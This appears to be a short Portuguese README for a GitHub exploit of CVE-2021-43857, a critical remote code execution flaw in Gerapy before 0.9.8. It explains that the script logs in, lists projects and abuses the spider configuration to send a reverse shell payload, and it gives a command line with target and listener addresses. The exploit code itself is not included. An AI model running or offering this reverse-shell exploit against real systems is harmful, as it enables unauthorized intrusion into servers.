longwayhomie/cve-2021-43857Gerapy anterior à versão 0.9.8 é vulnerável à execução remota de código. Este problema é corrigido na versão 0.9.8.
O Gerapy anterior à versão 0.9.8 é vulnerável à execução remota de código. Este problema é corrigido na versão 0.9.8.
CVE-2021-43857 é uma vulnerabilidade classificada com prioridade Crítica (CVSS 9.8) que leva à execução remota de código.
Esta vulnerabilidade afeta todas as versões anteriores à 0.9.8.
Testada apenas na 0.9.6. Requer credenciais corretas.
O exploit funciona fazendo login no aplicativo, obtendo a lista de projetos criados (falhará se não houver nenhum), e então usando a configuração do projeto para executar o mecanismo vulnerável spider enviando o payload de reverse shell.
Exemplo de uso:
python3 cve-2021-43857.py -t 172.17.0.2 -p 8000 -L 172.17.0.1 -P 4444
